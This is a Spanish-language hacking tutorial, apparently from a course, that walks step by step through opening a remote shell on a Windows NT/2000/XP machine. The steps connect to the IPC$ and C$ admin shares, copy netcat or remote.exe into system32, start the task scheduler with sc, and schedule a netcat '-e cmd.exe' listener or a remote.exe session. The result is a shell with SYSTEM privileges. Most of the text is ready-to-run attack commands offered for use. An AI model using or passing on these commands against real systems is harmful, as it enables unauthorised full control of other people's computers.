

Práctica 41. Shell remota mediante el programador de tareas **(Por HxC Mods-Adm)**

Vamos a ver, para obtener una shell remota necesitas que el equipo objetivo ejecute "algo" que te permita abrirla, no se que sistema operativo correrá en el remoto, ni tampoco se de qué herramientas dispones, así que vamos a suponer:

- 1º) El equipo remoto es un NT/W2k/XP
- 2º) Dispones de algun programa que permita conectarse a él a través de un puerto (nc, remote, etc.)
- 3º) Dispones de un programa que permita correr servicios en un equipo remoto (sc.exe)

Remote y sc son herramientas del Kit de Recursos,

Hay muchas formas, la más sencilla es ejecutarle una shell es mediante el programador de tareas, para ello:

- 1º) Te conectas como administrador al recurso IPC\$ (Comunicación Interna de Procesos)

net use \\ip.del.equipo\IPC\$ contraseña /U:administrador

- 2º) Le mapeas una unidad de red (yo escojo la X) del recurso C\$ que es la unidad C: de equipo objetivo

net use x \\ip.del.equipo\c\$

- 3º) le copias el netcat, remote o lo que dispongas

Imagina que tienes el netcat y/o remote en tu unidad C:\control\

la orden sería:

*copy C:\control\nc.exe X:\winnt\system32\nc.exe
copy C:\control\remote.exe X:\winnt\system32\remote.exe*

o bien,

*Copy C:\control\nc.exe X:\Windows\System32\nc.exe
Copy C:\control\remote.exe X:\Windows\System32\remote.exe*

Recuerda que debe ir al directorio de instalación del sistema, bueno, puede ser otro, se indica la ruta más adelante, pero por ahora quedamos así.

- 4º) Le ejecutas el servicio del programador de tareas

sc ip.del.equipo start schedule

Si te dice que ya hay una instancia de este servicio y bla, bla, bla ni caso.

- 5º) Compruebas la Hora del equipo remoto, es muy importante por que puede no tener la misma hora que tu

net time \\ip.del.equipo

Supongamos que dice que tiene las 6:52PM o las 18:52

6º) Le ejecutas la tarea,

```
at ||ip.del.equipo 19:00 ""nc -L -t -n -p 2315 -e cmd.exe""
```

o bien,

```
at ||ip.del.equipo 19:00 ""remote /s cmd.exe jakeo""
```

7º) esperamos a que llegue la hora (las 19:00 es decir 8 minutos o lo que le hayas puesto)

8º) Podemos comprobar si la tarea está pendiente,

```
at ||ip.del.equipo
```

Una vez haya llegado la hora y la tarea se haya ejecutado:

9º) desde NUESTRA shell, ejecutamos:

```
nc ip.del.equipo 2315
```

o bien

```
remote /C ip.del.equipo jakeo
```

Y OBTENDRÁS LA SHELL REMOTA.

Las tareas que ejecuta el programador de tareas tienen privilegios de System, por lo que se nos abrirá una shell remota con TODOS LOS PRIVILEGIOS.

Explicación

El puerto 2315 lo puedes cambiar, claro, es sólo un ejemplo

El nombre jakeo, idem de lo anterior, es simplemente el nombre único que debe existir para el mandato remote.

Te he puesto las instrucciones para nc y para remote, por que con netcat a veces no me ha funcionado, con remote SIEMPRE.

Remote es un programa que viene con el Kit de Recursos de Windows, si no dispones de él lo podrás encontrar sin problemas por Internet...